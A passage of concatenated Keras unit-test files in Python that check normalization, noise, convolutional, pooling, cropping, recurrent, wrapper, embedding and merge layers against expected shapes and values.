from keras.models import Sequential, Graph
from keras import backend as K

input_1 = np.arange(10)
input_2 = np.zeros(10)
input_3 = np.ones((10))
input_shapes = [np.ones((10, 10)), np.ones((10, 10, 10))]


@keras_test
def basic_batchnorm_test():
    layer_test(normalization.BatchNormalization,
               kwargs={'mode': 1},
               input_shape=(3, 4, 2))
    layer_test(normalization.BatchNormalization,
               kwargs={'mode': 0},
               input_shape=(3, 4, 2))


@keras_test
def test_batchnorm_mode_0_or_2():
    for mode in [0, 2]:
        model = Sequential()
        norm_m0 = normalization.BatchNormalization(mode=mode, input_shape=(10,), momentum=0.8)
        model.add(norm_m0)
        model.compile(loss='mse', optimizer='sgd')

        # centered on 5.0, variance 10.0
        X = np.random.normal(loc=5.0, scale=10.0, size=(1000, 10))
        model.fit(X, X, nb_epoch=4, verbose=0)
        out = model.predict(X)
        out -= K.eval(norm_m0.beta)
        out /= K.eval(norm_m0.gamma)

        assert_allclose(out.mean(), 0.0, atol=1e-1)
        assert_allclose(out.std(), 1.0, atol=1e-1)


@keras_test
def test_batchnorm_mode_0_convnet():
    model = Sequential()
    norm_m0 = normalization.BatchNormalization(mode=0, axis=1, input_shape=(3, 4, 4), momentum=0.8)
    model.add(norm_m0)
    model.compile(loss='mse', optimizer='sgd')

    # centered on 5.0, variance 10.0
    X = np.random.normal(loc=5.0, scale=10.0, size=(1000, 3, 4, 4))
    model.fit(X, X, nb_epoch=4, verbose=0)
    out = model.predict(X)
    out -= np.reshape(K.eval(norm_m0.beta), (1, 3, 1, 1))
    out /= np.reshape(K.eval(norm_m0.gamma), (1, 3, 1, 1))

    assert_allclose(np.mean(out, axis=(0, 2, 3)), 0.0, atol=1e-1)
    assert_allclose(np.std(out, axis=(0, 2, 3)), 1.0, atol=1e-1)


@keras_test
def test_batchnorm_mode_1():
    norm_m1 = normalization.BatchNormalization(input_shape=(10,), mode=1)
    norm_m1.build(input_shape=(None, 10))

    for inp in [input_1, input_2, input_3]:
        out = (norm_m1.call(K.variable(inp)) - norm_m1.beta) / norm_m1.gamma
        assert_allclose(K.eval(K.mean(out)), 0.0, atol=1e-1)
        if inp.std() > 0.:
            assert_allclose(K.eval(K.std(out)), 1.0, atol=1e-1)
        else:
            assert_allclose(K.eval(K.std(out)), 0.0, atol=1e-1)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
from keras.utils.test_utils import layer_test, keras_test
from keras.layers import noise


@keras_test
def test_GaussianNoise():
    layer_test(noise.GaussianNoise,
               kwargs={'sigma': 1.},
               input_shape=(3, 2, 3))


@keras_test
def test_GaussianDropout():
    layer_test(noise.GaussianDropout,
               kwargs={'p': 0.5},
               input_shape=(3, 2, 3))


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np
from numpy.testing import assert_allclose

from keras.utils.test_utils import layer_test, keras_test
from keras.utils.np_utils import conv_input_length
from keras import backend as K
from keras.layers import convolutional


@keras_test
def test_convolution_1d():
    nb_samples = 2
    nb_steps = 8
    input_dim = 2
    filter_length = 3
    nb_filter = 3

    for border_mode in ['valid', 'same']:
        for subsample_length in [1]:
            if border_mode == 'same' and subsample_length != 1:
                continue
            layer_test(convolutional.Convolution1D,
                       kwargs={'nb_filter': nb_filter,
                               'filter_length': filter_length,
                               'border_mode': border_mode,
                               'subsample_length': subsample_length},
                       input_shape=(nb_samples, nb_steps, input_dim))

            layer_test(convolutional.Convolution1D,
                       kwargs={'nb_filter': nb_filter,
                               'filter_length': filter_length,
                               'border_mode': border_mode,
                               'W_regularizer': 'l2',
                               'b_regularizer': 'l2',
                               'activity_regularizer': 'activity_l2',
                               'subsample_length': subsample_length},
                       input_shape=(nb_samples, nb_steps, input_dim))


@keras_test
def test_maxpooling_1d():
    for stride in [1, 2]:
        layer_test(convolutional.MaxPooling1D,
                   kwargs={'stride': stride,
                           'border_mode': 'valid'},
                   input_shape=(3, 5, 4))


@keras_test
def test_averagepooling_1d():
    for stride in [1, 2]:
        layer_test(convolutional.AveragePooling1D,
                   kwargs={'stride': stride,
                           'border_mode': 'valid'},
                   input_shape=(3, 5, 4))


@keras_test
def test_convolution_2d():
    nb_samples = 2
    nb_filter = 2
    stack_size = 3
    nb_row = 10
    nb_col = 6

    for border_mode in ['valid', 'same']:
        for subsample in [(1, 1), (2, 2)]:
            if border_mode == 'same' and subsample != (1, 1):
                continue

            layer_test(convolutional.Convolution2D,
                       kwargs={'nb_filter': nb_filter,
                               'nb_row': 3,
                               'nb_col': 3,
                               'border_mode': border_mode,
                               'subsample': subsample},
                       input_shape=(nb_samples, stack_size, nb_row, nb_col))

            layer_test(convolutional.Convolution2D,
                       kwargs={'nb_filter': nb_filter,
                               'nb_row': 3,
                               'nb_col': 3,
                               'border_mode': border_mode,
                               'W_regularizer': 'l2',
                               'b_regularizer': 'l2',
                               'activity_regularizer': 'activity_l2',
                               'subsample': subsample},
                       input_shape=(nb_samples, stack_size, nb_row, nb_col))


@keras_test
def test_deconvolution_2d():
    nb_samples = 2
    nb_filter = 2
    stack_size = 3
    nb_row = 10
    nb_col = 6

    for border_mode in ['valid', 'same']:
        for subsample in [(1, 1), (2, 2)]:
            if border_mode == 'same' and subsample != (1, 1):
                continue

            rows = conv_input_length(nb_row, 3, border_mode, subsample[0])
            cols = conv_input_length(nb_col, 3, border_mode, subsample[1])
            layer_test(convolutional.Deconvolution2D,
                       kwargs={'nb_filter': nb_filter,
                               'nb_row': 3,
                               'nb_col': 3,
                               'output_shape': (nb_samples, nb_filter, rows, cols),
                               'border_mode': border_mode,
                               'subsample': subsample},
                       input_shape=(nb_samples, stack_size, nb_row, nb_col),
                       fixed_batch_size=True)

            layer_test(convolutional.Deconvolution2D,
                       kwargs={'nb_filter': nb_filter,
                               'nb_row': 3,
                               'nb_col': 3,
                               'output_shape': (nb_samples, nb_filter, rows, cols),
                               'border_mode': border_mode,
                               'W_regularizer': 'l2',
                               'b_regularizer': 'l2',
                               'activity_regularizer': 'activity_l2',
                               'subsample': subsample},
                       input_shape=(nb_samples, stack_size, nb_row, nb_col),
                       fixed_batch_size=True)


@keras_test
def test_atrous_conv_2d():
    nb_samples = 2
    nb_filter = 2
    stack_size = 3
    nb_row = 10
    nb_col = 6

    for border_mode in ['valid', 'same']:
        for subsample in [(1, 1), (2, 2)]:
            for atrous_rate in [(1, 1), (2, 2)]:
                if border_mode == 'same' and subsample != (1, 1):
                    continue
                if subsample != (1, 1) and atrous_rate != (1, 1):
                    continue

                layer_test(convolutional.AtrousConv2D,
                           kwargs={'nb_filter': nb_filter,
                                   'nb_row': 3,
                                   'nb_col': 3,
                                   'border_mode': border_mode,
                                   'subsample': subsample,
                                   'atrous_rate': atrous_rate},
                           input_shape=(nb_samples, stack_size, nb_row, nb_col))

                layer_test(convolutional.AtrousConv2D,
                           kwargs={'nb_filter': nb_filter,
                                   'nb_row': 3,
                                   'nb_col': 3,
                                   'border_mode': border_mode,
                                   'W_regularizer': 'l2',
                                   'b_regularizer': 'l2',
                                   'activity_regularizer': 'activity_l2',
                                   'subsample': subsample,
                                   'atrous_rate': atrous_rate},
                           input_shape=(nb_samples, stack_size, nb_row, nb_col))


@pytest.mark.skipif(K._BACKEND != 'tensorflow', reason="Requires TF backend")
@keras_test
def test_separable_conv_2d():
    nb_samples = 2
    nb_filter = 6
    stack_size = 3
    nb_row = 10
    nb_col = 6

    for border_mode in ['valid', 'same']:
        for subsample in [(1, 1), (2, 2)]:
            for multiplier in [1, 2]:
                if border_mode == 'same' and subsample != (1, 1):
                    continue

                layer_test(convolutional.SeparableConv2D,
                           kwargs={'nb_filter': nb_filter,
                                   'nb_row': 3,
                                   'nb_col': 3,
                                   'border_mode': border_mode,
                                   'subsample': subsample,
                                   'depth_multiplier': multiplier},
                           input_shape=(nb_samples, stack_size, nb_row, nb_col))

                layer_test(convolutional.SeparableConv2D,
                           kwargs={'nb_filter': nb_filter,
                                   'nb_row': 3,
                                   'nb_col': 3,
                                   'border_mode': border_mode,
                                   'depthwise_regularizer': 'l2',
                                   'pointwise_regularizer': 'l2',
                                   'b_regularizer': 'l2',
                                   'activity_regularizer': 'activity_l2',
                                   'pointwise_constraint': 'unitnorm',
                                   'depthwise_constraint': 'unitnorm',
                                   'subsample': subsample,
                                   'depth_multiplier': multiplier},
                           input_shape=(nb_samples, stack_size, nb_row, nb_col))


@keras_test
def test_maxpooling_2d():
    pool_size = (3, 3)

    for strides in [(1, 1), (2, 2)]:
        layer_test(convolutional.MaxPooling2D,
                   kwargs={'strides': strides,
                           'border_mode': 'valid',
                           'pool_size': pool_size},
                   input_shape=(3, 4, 11, 12))


@keras_test
def test_averagepooling_2d():
    pool_size = (3, 3)

    for border_mode in ['valid', 'same']:
        for pool_size in [(2, 2), (3, 3), (4, 4), (5, 5)]:
            for strides in [(1, 1), (2, 2)]:
                layer_test(convolutional.MaxPooling2D,
                           kwargs={'strides': strides,
                                   'border_mode': border_mode,
                                   'pool_size': pool_size},
                           input_shape=(3, 4, 11, 12))


@keras_test
def test_convolution_3d():
    nb_samples = 2
    nb_filter = 2
    stack_size = 3
    kernel_dim1 = 2
    kernel_dim2 = 3
    kernel_dim3 = 1

    input_len_dim1 = 10
    input_len_dim2 = 11
    input_len_dim3 = 12

    for border_mode in ['same', 'valid']:
        for subsample in [(1, 1, 1), (2, 2, 2)]:
            if border_mode == 'same' and subsample != (1, 1, 1):
                continue

            layer_test(convolutional.Convolution3D,
                       kwargs={'nb_filter': nb_filter,
                               'kernel_dim1': kernel_dim1,
                               'kernel_dim2': kernel_dim2,
                               'kernel_dim3': kernel_dim3,
                               'border_mode': border_mode,
                               'subsample': subsample},
                       input_shape=(nb_samples, stack_size,
                                    input_len_dim1, input_len_dim2, input_len_dim3))

            layer_test(convolutional.Convolution3D,
                       kwargs={'nb_filter': nb_filter,
                               'kernel_dim1': kernel_dim1,
                               'kernel_dim2': kernel_dim2,
                               'kernel_dim3': kernel_dim3,
                               'border_mode': border_mode,
                               'W_regularizer': 'l2',
                               'b_regularizer': 'l2',
                               'activity_regularizer': 'activity_l2',
                               'subsample': subsample},
                       input_shape=(nb_samples, stack_size,
                                    input_len_dim1, input_len_dim2, input_len_dim3))


@keras_test
def test_maxpooling_3d():
    pool_size = (3, 3, 3)

    for strides in [(1, 1, 1), (2, 2, 2)]:
        layer_test(convolutional.MaxPooling3D,
                   kwargs={'strides': strides,
                           'border_mode': 'valid',
                           'pool_size': pool_size},
                   input_shape=(3, 4, 11, 12, 10))


@keras_test
def test_averagepooling_3d():
    pool_size = (3, 3, 3)

    for strides in [(1, 1, 1), (2, 2, 2)]:
        layer_test(convolutional.AveragePooling3D,
                   kwargs={'strides': strides,
                           'border_mode': 'valid',
                           'pool_size': pool_size},
                   input_shape=(3, 4, 11, 12, 10))


@keras_test
def test_zero_padding_2d():
    nb_samples = 2
    stack_size = 2
    input_nb_row = 11
    input_nb_col = 12

    input = np.ones((nb_samples, stack_size, input_nb_row, input_nb_col))

    # basic test
    layer_test(convolutional.ZeroPadding2D,
               kwargs={'padding': (2, 2)},
               input_shape=input.shape)

    # correctness test
    layer = convolutional.ZeroPadding2D(padding=(2, 2))
    layer.set_input(K.variable(input), shape=input.shape)

    out = K.eval(layer.output)
    for offset in [0, 1, -1, -2]:
        assert_allclose(out[:, :, offset, :], 0.)
        assert_allclose(out[:, :, :, offset], 0.)
    assert_allclose(out[:, :, 2:-2, 2:-2], 1.)
    layer.get_config()


def test_zero_padding_3d():
    nb_samples = 2
    stack_size = 2
    input_len_dim1 = 10
    input_len_dim2 = 11
    input_len_dim3 = 12

    input = np.ones((nb_samples, stack_size, input_len_dim1,
                     input_len_dim2, input_len_dim3))

    # basic test
    layer_test(convolutional.ZeroPadding3D,
               kwargs={'padding': (2, 2, 2)},
               input_shape=input.shape)

    # correctness test
    layer = convolutional.ZeroPadding3D(padding=(2, 2, 2))
    layer.set_input(K.variable(input), shape=input.shape)
    out = K.eval(layer.output)
    for offset in [0, 1, -1, -2]:
        assert_allclose(out[:, :, offset, :, :], 0.)
        assert_allclose(out[:, :, :, offset, :], 0.)
        assert_allclose(out[:, :, :, :, offset], 0.)
    assert_allclose(out[:, :, 2:-2, 2:-2, 2:-2], 1.)
    layer.get_config()


@keras_test
def test_upsampling_1d():
    layer_test(convolutional.UpSampling1D,
               kwargs={'length': 2},
               input_shape=(3, 5, 4))


@keras_test
def test_upsampling_2d():
    nb_samples = 2
    stack_size = 2
    input_nb_row = 11
    input_nb_col = 12

    for dim_ordering in ['th', 'tf']:
        if dim_ordering == 'th':
            input = np.random.rand(nb_samples, stack_size, input_nb_row,
                                   input_nb_col)
        else:  # tf
            input = np.random.rand(nb_samples, input_nb_row, input_nb_col,
                                   stack_size)

        for length_row in [2, 3, 9]:
            for length_col in [2, 3, 9]:
                layer = convolutional.UpSampling2D(
                    size=(length_row, length_col),
                    dim_ordering=dim_ordering)
                layer.set_input(K.variable(input), shape=input.shape)

                out = K.eval(layer.output)
                if dim_ordering == 'th':
                    assert out.shape[2] == length_row * input_nb_row
                    assert out.shape[3] == length_col * input_nb_col
                else:  # tf
                    assert out.shape[1] == length_row * input_nb_row
                    assert out.shape[2] == length_col * input_nb_col

                # compare with numpy
                if dim_ordering == 'th':
                    expected_out = np.repeat(input, length_row, axis=2)
                    expected_out = np.repeat(expected_out, length_col, axis=3)
                else:  # tf
                    expected_out = np.repeat(input, length_row, axis=1)
                    expected_out = np.repeat(expected_out, length_col, axis=2)

                assert_allclose(out, expected_out)


def test_upsampling_3d():
    nb_samples = 2
    stack_size = 2
    input_len_dim1 = 10
    input_len_dim2 = 11
    input_len_dim3 = 12

    for dim_ordering in ['th', 'tf']:
        if dim_ordering == 'th':
            input = np.random.rand(nb_samples, stack_size, input_len_dim1, input_len_dim2,
                                   input_len_dim3)
        else:  # tf
            input = np.random.rand(nb_samples, input_len_dim1, input_len_dim2, input_len_dim3,
                                   stack_size)
        for length_dim1 in [2, 3, 9]:
            for length_dim2 in [2, 3, 9]:
                for length_dim3 in [2, 3, 9]:
                    layer = convolutional.UpSampling3D(
                        size=(length_dim1, length_dim2, length_dim3),
                        dim_ordering=dim_ordering)
                    layer.set_input(K.variable(input), shape=input.shape)

                    out = K.eval(layer.output)
                    if dim_ordering == 'th':
                        assert out.shape[2] == length_dim1 * input_len_dim1
                        assert out.shape[3] == length_dim2 * input_len_dim2
                        assert out.shape[4] == length_dim3 * input_len_dim3
                    else:  # tf
                        assert out.shape[1] == length_dim1 * input_len_dim1
                        assert out.shape[2] == length_dim2 * input_len_dim2
                        assert out.shape[3] == length_dim3 * input_len_dim3

                    # compare with numpy
                    if dim_ordering == 'th':
                        expected_out = np.repeat(input, length_dim1, axis=2)
                        expected_out = np.repeat(expected_out, length_dim2, axis=3)
                        expected_out = np.repeat(expected_out, length_dim3, axis=4)
                    else:  # tf
                        expected_out = np.repeat(input, length_dim1, axis=1)
                        expected_out = np.repeat(expected_out, length_dim2, axis=2)
                        expected_out = np.repeat(expected_out, length_dim3, axis=3)

                    assert_allclose(out, expected_out)


@keras_test
def test_cropping_1d():
    nb_samples = 2
    time_length = 10
    input_len_dim1 = 2
    input = np.random.rand(nb_samples, time_length, input_len_dim1)

    layer_test(convolutional.Cropping1D,
               kwargs={'cropping': (2, 2)},
               input_shape=input.shape)

def test_cropping_2d():
    nb_samples = 2
    stack_size = 2
    input_len_dim1 = 10
    input_len_dim2 = 20
    cropping = ((2, 2), (3, 3))
    dim_ordering = K.image_dim_ordering()
    
    if dim_ordering == 'th':
        input = np.random.rand(nb_samples, stack_size, input_len_dim1, input_len_dim2)
    else:
        input = np.random.rand(nb_samples, input_len_dim1, input_len_dim2, stack_size)
    # basic test        
    layer_test(convolutional.Cropping2D,
               kwargs={'cropping': cropping,
                       'dim_ordering': dim_ordering},
               input_shape=input.shape)
    # correctness test
    layer = convolutional.Cropping2D(cropping=cropping, dim_ordering=dim_ordering)
    layer.set_input(K.variable(input), shape=input.shape)

    out = K.eval(layer.output)
    # compare with numpy
    if dim_ordering == 'th':
        expected_out = input[:, 
                             :, 
                             cropping[0][0]:-cropping[0][1], 
                             cropping[1][0]:-cropping[1][1]]
    else:
        expected_out = input[:, 
                             cropping[0][0]:-cropping[0][1], 
                             cropping[1][0]:-cropping[1][1], 
                             :]

    assert_allclose(out, expected_out)


def test_cropping_3d():
    nb_samples = 2
    stack_size = 2
    input_len_dim1 = 10
    input_len_dim2 = 20
    input_len_dim3 = 30
    cropping = ((2, 2), (3, 3), (2, 3))
    dim_ordering = K.image_dim_ordering()
    
    if dim_ordering == 'th':
        input = np.random.rand(nb_samples, stack_size, input_len_dim1, input_len_dim2, input_len_dim3)
    else:
        input = np.random.rand(nb_samples, input_len_dim1, input_len_dim2, input_len_dim3, stack_size)
    # basic test        
    layer_test(convolutional.Cropping3D,
               kwargs={'cropping': cropping,
                       'dim_ordering': dim_ordering},
               input_shape=input.shape)
    # correctness test
    layer = convolutional.Cropping3D(cropping=cropping, dim_ordering=dim_ordering)
    layer.set_input(K.variable(input), shape=input.shape)

    out = K.eval(layer.output)
    # compare with numpy
    if dim_ordering == 'th':
        expected_out = input[:, 
                             :, 
                             cropping[0][0]:-cropping[0][1], 
                             cropping[1][0]:-cropping[1][1], 
                             cropping[2][0]:-cropping[2][1]]
    else:
        expected_out = input[:, 
                             cropping[0][0]:-cropping[0][1], 
                             cropping[1][0]:-cropping[1][1], 
                             cropping[2][0]:-cropping[2][1], 
                             :]

    assert_allclose(out, expected_out)


def test_cropping_3d():
    pass
if __name__ == '__main__':
    pytest.main([__file__])






import pytest

from keras.utils.test_utils import layer_test, keras_test
from keras.layers import local


@keras_test
def test_locallyconnected_1d():
    nb_samples = 2
    nb_steps = 8
    input_dim = 5
    filter_length = 3
    nb_filter = 4

    for border_mode in ['valid']:
        for subsample_length in [1]:
            if border_mode == 'same' and subsample_length != 1:
                continue
            layer_test(local.LocallyConnected1D,
                       kwargs={'nb_filter': nb_filter,
                               'filter_length': filter_length,
                               'border_mode': border_mode,
                               'subsample_length': subsample_length},
                       input_shape=(nb_samples, nb_steps, input_dim))

            layer_test(local.LocallyConnected1D,
                       kwargs={'nb_filter': nb_filter,
                               'filter_length': filter_length,
                               'border_mode': border_mode,
                               'W_regularizer': 'l2',
                               'b_regularizer': 'l2',
                               'activity_regularizer': 'activity_l2',
                               'subsample_length': subsample_length},
                       input_shape=(nb_samples, nb_steps, input_dim))


@keras_test
def test_locallyconnected_2d():
    nb_samples = 8
    nb_filter = 3
    stack_size = 4
    nb_row = 6
    nb_col = 10

    for border_mode in ['valid']:
        for subsample in [(1, 1), (2, 2)]:
            if border_mode == 'same' and subsample != (1, 1):
                continue

            layer_test(local.LocallyConnected2D,
                       kwargs={'nb_filter': nb_filter,
                               'nb_row': 3,
                               'nb_col': 3,
                               'border_mode': border_mode,
                               'W_regularizer': 'l2',
                               'b_regularizer': 'l2',
                               'activity_regularizer': 'activity_l2',
                               'subsample': subsample,
                               'dim_ordering': 'tf'},
                       input_shape=(nb_samples, nb_row, nb_col, stack_size))

            layer_test(local.LocallyConnected2D,
                       kwargs={'nb_filter': nb_filter,
                               'nb_row': 3,
                               'nb_col': 3,
                               'border_mode': border_mode,
                               'W_regularizer': 'l2',
                               'b_regularizer': 'l2',
                               'activity_regularizer': 'activity_l2',
                               'subsample': subsample,
                               'dim_ordering': 'th'},
                       input_shape=(nb_samples, stack_size, nb_row, nb_col))


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np
from numpy.testing import assert_allclose
from keras.utils.test_utils import keras_test
from keras.layers import wrappers, Input
from keras.layers import core, convolutional, recurrent
from keras.models import Sequential, Model, model_from_json


@keras_test
def test_TimeDistributed():
    # first, test with Dense layer
    model = Sequential()
    model.add(wrappers.TimeDistributed(core.Dense(2), input_shape=(3, 4)))
    model.add(core.Activation('relu'))
    model.compile(optimizer='rmsprop', loss='mse')
    model.fit(np.random.random((10, 3, 4)), np.random.random((10, 3, 2)), nb_epoch=1, batch_size=10)

    # test config
    model.get_config()

    # compare to TimeDistributedDense
    test_input = np.random.random((1, 3, 4))
    test_output = model.predict(test_input)
    weights = model.layers[0].get_weights()

    reference = Sequential()
    reference.add(core.TimeDistributedDense(2, input_shape=(3, 4), weights=weights))
    reference.add(core.Activation('relu'))
    reference.compile(optimizer='rmsprop', loss='mse')

    reference_output = reference.predict(test_input)
    assert_allclose(test_output, reference_output, atol=1e-05)

    # test when specifying a batch_input_shape
    reference = Sequential()
    reference.add(core.TimeDistributedDense(2, batch_input_shape=(1, 3, 4), weights=weights))
    reference.add(core.Activation('relu'))
    reference.compile(optimizer='rmsprop', loss='mse')

    reference_output = reference.predict(test_input)
    assert_allclose(test_output, reference_output, atol=1e-05)

    # test with Convolution2D
    model = Sequential()
    model.add(wrappers.TimeDistributed(convolutional.Convolution2D(5, 2, 2, border_mode='same'), input_shape=(2, 3, 4, 4)))
    model.add(core.Activation('relu'))
    model.compile(optimizer='rmsprop', loss='mse')
    model.train_on_batch(np.random.random((1, 2, 3, 4, 4)), np.random.random((1, 2, 5, 4, 4)))

    model = model_from_json(model.to_json())
    model.summary()

    # test stacked layers
    model = Sequential()
    model.add(wrappers.TimeDistributed(core.Dense(2), input_shape=(3, 4)))
    model.add(wrappers.TimeDistributed(core.Dense(3)))
    model.add(core.Activation('relu'))
    model.compile(optimizer='rmsprop', loss='mse')

    model.fit(np.random.random((10, 3, 4)), np.random.random((10, 3, 3)), nb_epoch=1, batch_size=10)

    # test wrapping Sequential model
    model = Sequential()
    model.add(core.Dense(3, input_dim=2))
    outer_model = Sequential()
    outer_model.add(wrappers.TimeDistributed(model, input_shape=(3, 2)))
    outer_model.compile(optimizer='rmsprop', loss='mse')
    outer_model.fit(np.random.random((10, 3, 2)), np.random.random((10, 3, 3)), nb_epoch=1, batch_size=10)

    # test with functional API
    x = Input(shape=(3, 2))
    y = wrappers.TimeDistributed(model)(x)
    outer_model = Model(x, y)
    outer_model.compile(optimizer='rmsprop', loss='mse')
    outer_model.fit(np.random.random((10, 3, 2)), np.random.random((10, 3, 3)), nb_epoch=1, batch_size=10)


@keras_test
def test_Bidirectional():
    rnn = recurrent.SimpleRNN
    nb_sample = 2
    dim = 2
    timesteps = 2
    output_dim = 2
    for mode in ['sum', 'concat']:
        x = np.random.random((nb_sample, timesteps, dim))
        target_dim = 2 * output_dim if mode == 'concat' else output_dim
        y = np.random.random((nb_sample, target_dim))

        # test with Sequential model
        model = Sequential()
        model.add(wrappers.Bidirectional(rnn(output_dim),
                                         merge_mode=mode, input_shape=(timesteps, dim)))
        model.compile(loss='mse', optimizer='sgd')
        model.fit(x, y, nb_epoch=1, batch_size=1)

        # test config
        model.get_config()
        model = model_from_json(model.to_json())
        model.summary()

        # test stacked bidirectional layers
        model = Sequential()
        model.add(wrappers.Bidirectional(rnn(output_dim, return_sequences=True),
                                         merge_mode=mode, input_shape=(timesteps, dim)))
        model.add(wrappers.Bidirectional(rnn(output_dim), merge_mode=mode))
        model.compile(loss='mse', optimizer='sgd')
        model.fit(x, y, nb_epoch=1, batch_size=1)

        # test with functional API
        input = Input((timesteps, dim))
        output = wrappers.Bidirectional(rnn(output_dim), merge_mode=mode)(input)
        model = Model(input, output)
        model.compile(loss='mse', optimizer='sgd')
        model.fit(x, y, nb_epoch=1, batch_size=1)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np
from numpy.testing import assert_allclose

from keras.utils.test_utils import layer_test
from keras.layers import recurrent, embeddings
from keras.models import Sequential
from keras.layers.core import Masking
from keras import regularizers
from keras.utils.test_utils import keras_test

from keras import backend as K

nb_samples, timesteps, embedding_dim, output_dim = 2, 5, 4, 3
embedding_num = 12


def _runner(layer_class):
    """
    All the recurrent layers share the same interface,
    so we can run through them with a single function.
    """
    # check return_sequences
    layer_test(layer_class,
               kwargs={'output_dim': output_dim,
                       'return_sequences': True},
               input_shape=(nb_samples, timesteps, embedding_dim))

    # check dropout
    layer_test(layer_class,
               kwargs={'output_dim': output_dim,
                       'dropout_U': 0.1,
                       'dropout_W': 0.1},
               input_shape=(nb_samples, timesteps, embedding_dim))

    # check implementation modes
    for mode in ['cpu', 'mem', 'gpu']:
        layer_test(layer_class,
                   kwargs={'output_dim': output_dim,
                           'consume_less': mode},
                   input_shape=(nb_samples, timesteps, embedding_dim))

    # check statefulness
    model = Sequential()
    model.add(embeddings.Embedding(embedding_num, embedding_dim,
                                   mask_zero=True,
                                   input_length=timesteps,
                                   batch_input_shape=(nb_samples, timesteps)))
    layer = layer_class(output_dim, return_sequences=False,
                        stateful=True,
                        weights=None)
    model.add(layer)
    model.compile(optimizer='sgd', loss='mse')
    out1 = model.predict(np.ones((nb_samples, timesteps)))
    assert(out1.shape == (nb_samples, output_dim))

    # train once so that the states change
    model.train_on_batch(np.ones((nb_samples, timesteps)),
                         np.ones((nb_samples, output_dim)))
    out2 = model.predict(np.ones((nb_samples, timesteps)))

    # if the state is not reset, output should be different
    assert(out1.max() != out2.max())

    # check that output changes after states are reset
    # (even though the model itself didn't change)
    layer.reset_states()
    out3 = model.predict(np.ones((nb_samples, timesteps)))
    assert(out2.max() != out3.max())

    # check that container-level reset_states() works
    model.reset_states()
    out4 = model.predict(np.ones((nb_samples, timesteps)))
    assert_allclose(out3, out4, atol=1e-5)

    # check that the call to `predict` updated the states
    out5 = model.predict(np.ones((nb_samples, timesteps)))
    assert(out4.max() != out5.max())

    # Check masking
    layer.reset_states()

    left_padded_input = np.ones((nb_samples, timesteps))
    left_padded_input[0, :1] = 0
    left_padded_input[1, :2] = 0
    out6 = model.predict(left_padded_input)

    layer.reset_states()

    right_padded_input = np.ones((nb_samples, timesteps))
    right_padded_input[0, -1:] = 0
    right_padded_input[1, -2:] = 0
    out7 = model.predict(right_padded_input)

    assert_allclose(out7, out6, atol=1e-5)

    # check regularizers
    layer = layer_class(output_dim, return_sequences=False, weights=None,
                        batch_input_shape=(nb_samples, timesteps, embedding_dim),
                        W_regularizer=regularizers.WeightRegularizer(l1=0.01),
                        U_regularizer=regularizers.WeightRegularizer(l1=0.01),
                        b_regularizer='l2')
    shape = (nb_samples, timesteps, embedding_dim)
    layer.set_input(K.variable(np.ones(shape)),
                    shape=shape)
    K.eval(layer.output)


@keras_test
def test_SimpleRNN():
    _runner(recurrent.SimpleRNN)


@keras_test
def test_GRU():
    _runner(recurrent.GRU)


@keras_test
def test_LSTM():
    _runner(recurrent.LSTM)


@keras_test
def test_masking_layer():
    ''' This test based on a previously failing issue here:
    https://github.com/fchollet/keras/issues/1567

    '''
    model = Sequential()
    model.add(Masking(input_shape=(3, 4)))
    model.add(recurrent.LSTM(output_dim=5, return_sequences=True))
    model.compile(loss='categorical_crossentropy', optimizer='adam')
    I = np.random.random((6, 3, 4))
    V = np.abs(np.random.random((6, 3, 5)))
    V /= V.sum(axis=-1, keepdims=True)
    model.fit(I, V, nb_epoch=1, batch_size=100, verbose=1)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
from keras.utils.test_utils import layer_test, keras_test
from keras.layers.embeddings import Embedding
import keras.backend as K


@keras_test
def test_embedding():
    layer_test(Embedding,
               kwargs={'output_dim': 4, 'input_dim': 10, 'input_length': 2},
               input_shape=(3, 2),
               input_dtype='int32',
               expected_output_dtype=K.floatx())


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np

from keras import backend as K
from keras.layers import core
from keras.utils.test_utils import layer_test, keras_test


@keras_test
def test_masking():
    layer_test(core.Masking,
               kwargs={},
               input_shape=(3, 2, 3))


@keras_test
def test_merge():
    from keras.layers import Input, merge, Merge
    from keras.models import Model

    # test modes: 'sum', 'mul', 'concat', 'ave', 'cos', 'dot'.
    input_shapes = [(3, 2), (3, 2)]
    inputs = [np.random.random(shape) for shape in input_shapes]

    # test functional API
    for mode in ['sum', 'mul', 'concat', 'ave', 'max']:
        print(mode)
        input_a = Input(shape=input_shapes[0][1:])
        input_b = Input(shape=input_shapes[1][1:])
        merged = merge([input_a, input_b], mode=mode)
        model = Model([input_a, input_b], merged)
        model.compile('rmsprop', 'mse')

        expected_output_shape = model.get_output_shape_for(input_shapes)
        actual_output_shape = model.predict(inputs).shape
        assert expected_output_shape == actual_output_shape

        config = model.get_config()
        model = Model.from_config(config)
        model.compile('rmsprop', 'mse')

        # test Merge (#2460)
        merged = Merge(mode=mode)([input_a, input_b])
        model = Model([input_a, input_b], merged)
        model.compile('rmsprop', 'mse')

        expected_output_shape = model.get_output_shape_for(input_shapes)
        actual_output_shape = model.predict(inputs).shape
        assert expected_output_shape == actual_output_shape

    # test lambda with output_shape lambda
    input_a = Input(shape=input_shapes[0][1:])
    input_b = Input(shape=input_shapes[1][1:])
    merged = merge([input_a, input_b],
                   mode=lambda tup: K.concatenate([tup[0], tup[1]]),
                   output_shape=lambda tup: (tup[0][:-1],) + (tup[0][-1] + tup[1][-1],))
    expected_output_shape = model.get_output_shape_for(input_shapes)
    actual_output_shape = model.predict(inputs).shape
    assert expected_output_shape == actual_output_shape

    config = model.get_config()
    model = Model.from_config(config)
    model.compile('rmsprop', 'mse')

    # test function with output_shape function
    def fn_mode(tup):
        x, y = tup
        return K.concatenate([x, y])

    def fn_output_shape(tup):
        s1, s2 = tup
        return (s1[:-1],) + (s1[-1] + s2[-1],)

    input_a = Input(shape=input_shapes[0][1:])
    input_b = Input(shape=input_shapes[1][1:])
    merged = merge([input_a, input_b],
                   mode=fn_mode,
                   output_shape=fn_output_shape)
    expected_output_shape = model.get_output_shape_for(input_shapes)
    actual_output_shape = model.predict(inputs).shape
    assert expected_output_shape == actual_output_shape

    config = model.get_config()
    model = Model.from_config(config)
    model.compile('rmsprop', 'mse')


@keras_test
def test_merge_mask_2d():
    from keras.layers import Input, merge, Masking
    from keras.models import Model

